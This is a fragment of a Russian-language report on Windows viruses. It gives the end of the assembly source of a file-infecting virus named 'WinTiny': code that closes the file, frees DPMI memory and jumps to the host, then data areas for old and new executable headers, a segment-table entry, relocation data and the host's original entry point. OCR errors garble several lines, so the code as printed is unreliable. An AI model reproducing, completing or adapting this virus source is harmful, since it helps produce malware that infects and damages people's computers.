Доклад: Вирусы под Windows
[Закроем файл
mov ah,3Eh
int 21h
.Освободим выделенный блок памяти
call free
;3апустим программу-носитель
jmp exit
.Процедура, освобождающая выделенный блок памяти
free PROC NEAR
mov ax,0502h
mov si,[mem_hnd]
mov di,[mem_hnd+2]
з*
int 31 h
ret
free ENDP
; Маска для поиска файлов
wild_exe DB "•ЕХЕ-.О
;Имя вируса
DB "WinTiny"
;Идентификатор, указывающий на конец инициализированных данных
vir_end:
.Индекс выделенного блока памяти
mem_hnd DW ?
DW ?
;Адрес текущей DTA
DTA DW ?
DW ?
;Место для хранения старого заголовка
olcLhdr DB 40h dup (?)
.Место для хранения нового заголовка
new_hdr DB 40h dup (?)
;Длина логического номера сектора
log_sec_len DW ?
; Новый элемент в таблице сегментов
my_seg_entry DW ?
DW ?
DW ?
DW ?
.Перемещаемый элемент
reloc_dataDW ?
DB ?
DB ?
DW?
;3начение оригинальной точки входа
host_cs DW ?
hostJp DW ?
;0бласть памяти для использования
temp DB ?
END
Вирусы под Windows 95